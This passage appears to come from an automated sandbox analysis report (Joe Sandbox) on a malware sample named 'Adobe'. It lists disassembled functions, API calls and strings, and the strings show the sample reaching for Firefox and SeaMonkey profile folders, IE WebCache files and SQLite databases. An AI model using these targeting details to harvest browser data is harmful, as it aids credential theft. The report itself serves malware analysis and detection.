                                                                                        • memset.MSVCRT ref: 00403F6B
                                                                                          • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                          • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$wcscpy$wcslen$Close_snwprintfmemcpywcscat
                                                                                        • String ID: Mozilla\SeaMonkey$Mozilla\SeaMonkey\Profiles
                                                                                        • API String ID: 3527940856-2068335096
                                                                                        • Opcode ID: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                                                                                        • Instruction ID: badb9319ce56d3a3e0b5d4601891faab39f88fc9b3936f94b46873e2979bc7df
                                                                                        • Opcode Fuzzy Hash: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                                                                                        • Instruction Fuzzy Hash: F94133B294012CBADB20EB56DC85FCF777CAF85314F1180A7B509F2181DA785B848F6A
                                                                                        Function 00403FBE Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 00403FE1
                                                                                        • memset.MSVCRT ref: 00403FF6
                                                                                        • memset.MSVCRT ref: 0040400B
                                                                                        • memset.MSVCRT ref: 00404020
                                                                                        • memset.MSVCRT ref: 00404035
                                                                                          • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                          • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                          • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                          • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                          • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                          • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                          • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                          • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                          • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                          • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                          • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                          • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                        • memset.MSVCRT ref: 004040FC
                                                                                          • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                          • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$wcscpy$wcslen$Close_snwprintfmemcpywcscat
                                                                                        • String ID: Mozilla\Firefox$Mozilla\Firefox\Profiles
                                                                                        • API String ID: 3527940856-3369679110
                                                                                        • Opcode ID: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                                                                                        • Instruction ID: a33c26704871042caa7cb74448a1974e70df039046fe21947f04a6d8cbe9f93a
                                                                                        • Opcode Fuzzy Hash: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                                                                                        • Instruction Fuzzy Hash: 354134B294012CBADB20EB56DC85ECF777CAF85314F1180A7B509B3181EA745B948F6A
                                                                                        Function 00444432 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 217COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memcpy.MSVCRT(00000048,00451D40,0000002C,000003FF,00445FAE,?,00000000,?,0040B879), ref: 004444E3
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpy
                                                                                        • String ID: BINARY$NOCASE$RTRIM$main$no such vfs: %s$temp
                                                                                        • API String ID: 3510742995-2641926074
                                                                                        • Opcode ID: 821e0fdd347fba4e0959882d1eed221cd0f9849de050a87fd0c537b7ccc40074
                                                                                        • Instruction ID: 565814064bb2237b40e40c3ad6633df45ffc5137317807aec9a32ad89077b3bf
                                                                                        • Opcode Fuzzy Hash: 821e0fdd347fba4e0959882d1eed221cd0f9849de050a87fd0c537b7ccc40074
                                                                                        • Instruction Fuzzy Hash: BA7119B1600701BFE710AF16CC81B66B7A8BB85319F11452FF4189B742D7BDED908B99
                                                                                        Function 004032B4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040B633: free.MSVCRT ref: 0040B63A
                                                                                          • Part of subcall function 0044553B: memset.MSVCRT ref: 004455C2
                                                                                          • Part of subcall function 0044553B: wcsrchr.MSVCRT ref: 004455DA
                                                                                        • memset.MSVCRT ref: 004033B7
                                                                                        • memcpy.MSVCRT(?,00000000,0000121C), ref: 004033D0
                                                                                        • wcscmp.MSVCRT ref: 004033FC
                                                                                        • _wcsicmp.MSVCRT ref: 00403439
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$_wcsicmpfreememcpywcscmpwcsrchr
                                                                                        • String ID: $0.@
                                                                                        • API String ID: 2758756878-1896041820
                                                                                        • Opcode ID: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                                                                                        • Instruction ID: ab192eb15c9642abc1a13bae453f9d52c7669558764b377fc560e22e349fc473
                                                                                        • Opcode Fuzzy Hash: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                                                                                        • Instruction Fuzzy Hash: 6B414A71A0C3819BD770EF65C885A8BB7E8AF86314F004D2FE48C97681DB3899458B5B
                                                                                        Function 004449B9 Relevance: 10.6, APIs: 7, Instructions: 61libraryloaderCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                          • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                          • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                          • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                          • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                          • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                        • GetProcAddress.KERNEL32(00000000,00000000), ref: 004449E7
                                                                                        • GetProcAddress.KERNEL32(00000000,00000000), ref: 004449F8
                                                                                        • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A09
                                                                                        • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A1A
                                                                                        • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A2B
                                                                                        • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A3C
                                                                                        • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A4D
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressProc$LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                        • String ID:
                                                                                        • API String ID: 2941347001-0
                                                                                        • Opcode ID: 71f7015b8efbcabf0d8a3174310d871b9f234e636c99dab6741889365bf8ff35
                                                                                        • Instruction ID: 45112ec7679d7541be2eaee67b01953ccf91f0241e5cd71b41190719d78dca83
                                                                                        • Opcode Fuzzy Hash: 71f7015b8efbcabf0d8a3174310d871b9f234e636c99dab6741889365bf8ff35
                                                                                        • Instruction Fuzzy Hash: 2E115871840700EDEA207F72DD0FF2B7AA5EF40B14F10882EF555594E1EBB6A8119E9C
                                                                                        Function 00403BED Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 57COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 00403C09
                                                                                        • memset.MSVCRT ref: 00403C1E
                                                                                          • Part of subcall function 00409719: wcslen.MSVCRT ref: 0040971A
                                                                                          • Part of subcall function 00409719: wcscat.MSVCRT ref: 00409732
                                                                                        • wcscat.MSVCRT ref: 00403C47
                                                                                          • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                          • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                          • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                        • wcscat.MSVCRT ref: 00403C70
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memsetwcscat$Closewcscpywcslen
                                                                                        • String ID: Mozilla\Firefox\Profiles$Mozilla\Profiles
                                                                                        • API String ID: 3249829328-1174173950
                                                                                        • Opcode ID: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                                                                                        • Instruction ID: 5219a381a5be6f9fff484f4b9c8ff18b49dc44b18064e24db21ac924a7a96902
                                                                                        • Opcode Fuzzy Hash: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                                                                                        • Instruction Fuzzy Hash: 4401A9B294032C76DB207B669C86ECF672C9F45358F01447FB504B7182D9785E844AA9
                                                                                        Function 0040A804 Relevance: 9.0, APIs: 6, Instructions: 40libraryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0040A824
                                                                                        • GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                        • wcscpy.MSVCRT ref: 0040A854
                                                                                        • wcscat.MSVCRT ref: 0040A86A
                                                                                        • LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                        • LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                        • String ID:
                                                                                        • API String ID: 669240632-0
                                                                                        • Opcode ID: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                                                                                        • Instruction ID: 21688b76284891f368be2c5f4feed5723597baa153f24eadc702144372ba9d0b
                                                                                        • Opcode Fuzzy Hash: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                                                                                        • Instruction Fuzzy Hash: A6F0A472D0022467DF207B65AC46B8A3B6CBF01754F008072F908B71D2EB789A55CFDA
                                                                                        Function 0041443E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • wcschr.MSVCRT ref: 00414458
                                                                                        • _snwprintf.MSVCRT ref: 0041447D
                                                                                        • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0041449B
                                                                                        • GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?), ref: 004144B3
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: PrivateProfileString$Write_snwprintfwcschr
                                                                                        • String ID: "%s"
                                                                                        • API String ID: 1343145685-3297466227
                                                                                        • Opcode ID: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                                                                                        • Instruction ID: 05c1b6e2b8d8aed92df8b5d38884bf02313f678dea9e3ece4dcd1a0b753c0483
                                                                                        • Opcode Fuzzy Hash: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                                                                                        • Instruction Fuzzy Hash: 7201AD3240421ABBEF219F81DC09FDB3F6AFF09305F14806ABA08501A1D339C5A5EB58
                                                                                        Function 00413CA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloadertimeCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleHandleW.KERNEL32(kernel32.dll,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CB5
                                                                                        • GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 00413CCF
                                                                                        • GetProcessTimes.KERNELBASE(00000000,?,?,?,?,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CF2
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressHandleModuleProcProcessTimes
                                                                                        • String ID: GetProcessTimes$kernel32.dll
                                                                                        • API String ID: 1714573020-3385500049
                                                                                        • Opcode ID: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                                                                                        • Instruction ID: 0a9fc9a7fb2a98cd878f934f387e3824ef844cc6c25aa3dbb33b58617c33e237
                                                                                        • Opcode Fuzzy Hash: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                                                                                        • Instruction Fuzzy Hash: F5F03036204309AFEF008FA6FD06B963BA8BB04742F044066FA0CD1561D7B5D6B0EF99
                                                                                        Function 004087B3 Relevance: 7.7, APIs: 6, Instructions: 190COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 004087D6
                                                                                          • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                          • Part of subcall function 004095D9: memset.MSVCRT ref: 004095FC
                                                                                        • memset.MSVCRT ref: 00408828
                                                                                        • memset.MSVCRT ref: 00408840
                                                                                        • memset.MSVCRT ref: 00408858
                                                                                        • memset.MSVCRT ref: 00408870
                                                                                        • memset.MSVCRT ref: 00408888
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                          • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                          • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                          • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$wcslen$AttributesByteCharFileMultiWidewcscatwcscpy
                                                                                        • String ID:
                                                                                        • API String ID: 2911713577-0
                                                                                        • Opcode ID: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                                                                                        • Instruction ID: a7e5ca25de4111a2a05fe91eb9e7b9268c7acadad77a1a504b595fc773a76dc1
                                                                                        • Opcode Fuzzy Hash: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                                                                                        • Instruction Fuzzy Hash: BD5146B280011D7EEB50E751DC46EEF776CDF05318F0040BEB948B6182EA745F948BA9
                                                                                        Function 0041F1A5 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 165COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memcmp.MSVCRT(?,?,00000004,?,00000065,004381DF,00000065,00000000,00000007,?,00000000), ref: 0041F202
                                                                                        • memcmp.MSVCRT(?,SQLite format 3,00000010,?,00000065,004381DF,00000065,00000000), ref: 0041F22D
                                                                                        • memcmp.MSVCRT(?,@ ,00000003,?,?,00000065,004381DF,00000065,00000000), ref: 0041F299
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcmp
                                                                                        • String ID: @ $SQLite format 3
                                                                                        • API String ID: 1475443563-3708268960
                                                                                        • Opcode ID: bc797f5c287fbec082bfe36368e8bdb92b626008a1b8340b8f00afaa449410d4
                                                                                        • Instruction ID: a5e199d7c3355b23248e204991ed7883f9cb1cefd3641e4a8180bf992d12f390
                                                                                        • Opcode Fuzzy Hash: bc797f5c287fbec082bfe36368e8bdb92b626008a1b8340b8f00afaa449410d4
                                                                                        • Instruction Fuzzy Hash: 9051C1719002199BDF10DFA9C4817DEB7F4AF44314F1541AAEC14EB246E778EA8ACB88
                                                                                        Function 00414C2E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77registryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00414B81: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 00414BA4
                                                                                        • memset.MSVCRT ref: 00414C87
                                                                                        • RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                        • wcscpy.MSVCRT ref: 00414CFC
                                                                                          • Part of subcall function 00409CEA: GetVersionExW.KERNEL32(0045D340,0000001A,00414C4F,?,00000000), ref: 00409D04
                                                                                        Strings
                                                                                        • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00414CA2, 00414CB2
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressCloseProcVersionmemsetwcscpy
                                                                                        • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                                                                                        • API String ID: 2705122986-2036018995
                                                                                        • Opcode ID: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                                                                                        • Instruction ID: cfba8ba70a3d5c5eb0df7add68d4968905301debfffe1ddd107e81ced3c7690c
                                                                                        • Opcode Fuzzy Hash: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                                                                                        • Instruction Fuzzy Hash: EE110B31802224ABDB24A7999C4E9EF736CDBD1315F2200A7F80562151F6685EC5C6DE
                                                                                        Function 004110DC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _wcsicmpqsort
                                                                                        • String ID: /nosort$/sort
                                                                                        • API String ID: 1579243037-1578091866
                                                                                        • Opcode ID: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                                                                                        • Instruction ID: 59a4a6edbc2c6816dd96362f3638b70d105e8990563e463c72bda517b6347aa4
                                                                                        • Opcode Fuzzy Hash: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                                                                                        • Instruction Fuzzy Hash: C8213770700201AFD714FB36C880E96F3AAFF58314F11012EE61897692DB39BC918B4A
                                                                                        Function 0040E5ED Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 61COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0040E60F
                                                                                        • memset.MSVCRT ref: 0040E629
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                          • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                          • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                          • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                        Strings
                                                                                        • Microsoft\Windows\WebCache\WebCacheV24.dat, xrefs: 0040E66F
                                                                                        • Microsoft\Windows\WebCache\WebCacheV01.dat, xrefs: 0040E647
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memsetwcslen$AttributesFilewcscatwcscpy
                                                                                        • String ID: Microsoft\Windows\WebCache\WebCacheV01.dat$Microsoft\Windows\WebCache\WebCacheV24.dat
                                                                                        • API String ID: 3354267031-2114579845
                                                                                        • Opcode ID: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                                                                                        • Instruction ID: 2f29c334d396001d9fe1cebc89c879271eb53039ccc8e03d5a3365d75131e7c5
                                                                                        • Opcode Fuzzy Hash: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                                                                                        • Instruction Fuzzy Hash: 66118AB3D4012C66EB10E755EC85FDB73ACAF14319F1408B7B904F11C2E6B89F984998
                                                                                        Function 004148B6 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FindResourceW.KERNELBASE(?,?,?), ref: 004148C3
                                                                                        • SizeofResource.KERNEL32(?,00000000), ref: 004148D4
                                                                                        • LoadResource.KERNEL32(?,00000000), ref: 004148E4
                                                                                        • LockResource.KERNEL32(00000000), ref: 004148EF
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Resource$FindLoadLockSizeof
                                                                                        • String ID:
                                                                                        • API String ID: 3473537107-0
                                                                                        • Opcode ID: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                                                                                        • Instruction ID: 8a72e2f5d7590eb6bb033c3ed88c96ec9d5eb8bcd973c23d1c6560583cb0a60d
                                                                                        • Opcode Fuzzy Hash: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                                                                                        • Instruction Fuzzy Hash: 0101D2727402156B8B294FB6DD4999BBFAEFFC6391308803AF809D6331DA31C851C688
                                                                                        Function 0043A9F6 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 979COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        • only a single result allowed for a SELECT that is part of an expression, xrefs: 0043AAD3
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset
                                                                                        • String ID: only a single result allowed for a SELECT that is part of an expression
                                                                                        • API String ID: 2221118986-1725073988
                                                                                        • Opcode ID: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                                                                                        • Instruction ID: 0c5fbdb45af1b87466ede92b40025f4dfba1e1eb7e0419b48c64bc8603b8f36f
                                                                                        • Opcode Fuzzy Hash: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                                                                                        • Instruction Fuzzy Hash: 5D827A71608340AFD720DF15C881B1BBBE1FF88318F14491EFA9987262D779E954CB96
                                                                                        Function 004125B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ??3@YAXPAX@Z.MSVCRT(?,?,00412966,/deleteregkey,/savelangfile), ref: 004125C3
                                                                                        • DeleteObject.GDI32(00000000), ref: 004125E7
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ??3@DeleteObject
                                                                                        • String ID: r!A
                                                                                        • API String ID: 1103273653-628097481
                                                                                        • Opcode ID: 50c536e2c83fb8bec4500b48a67d64bb266b61e0188dcb515110e4721c15bf1b
                                                                                        • Instruction ID: d381ae2e1f6c469d4091c7bd434485f036f098756071eb86a226830a39d2e28c
                                                                                        • Opcode Fuzzy Hash: 50c536e2c83fb8bec4500b48a67d64bb266b61e0188dcb515110e4721c15bf1b
                                                                                        • Instruction Fuzzy Hash: 72E04F75000302DFD7115F26E400782B7F5FF85315F11455EE89497151EBB96164CE19
                                                                                        Function 0040D092 Relevance: 5.1, APIs: 4, Instructions: 51COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ??2@YAPAXI@Z.MSVCRT(00000000,0040D142,00402E6F), ref: 0040D0CC
                                                                                        • ??2@YAPAXI@Z.MSVCRT(00000000,00000000,0040D142,00402E6F), ref: 0040D0EA
                                                                                        • ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,0040D142,00402E6F), ref: 0040D108
                                                                                        • ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00000000,0040D142,00402E6F), ref: 0040D126
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ??2@
                                                                                        • String ID:
                                                                                        • API String ID: 1033339047-0
                                                                                        • Opcode ID: bb5a2cedd882201272bd117211a6380788fbbee7b2a1ea69d9384cb42441e8af
                                                                                        • Instruction ID: 5f4fc1bc6a90e200713bb7744dd8ab6a017b0cf4e98027731d5581fdeff4b0c3
                                                                                        • Opcode Fuzzy Hash: bb5a2cedd882201272bd117211a6380788fbbee7b2a1ea69d9384cb42441e8af
                                                                                        • Instruction Fuzzy Hash: B00121B2A413005EEB7ADF38EE5772966A0AF4C351F01453EA246CD1F6EEF58480CB49
                                                                                        Function 00444B06 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 108COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 004449E7
                                                                                          • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 004449F8
                                                                                          • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A09
                                                                                          • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A1A
                                                                                          • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A2B
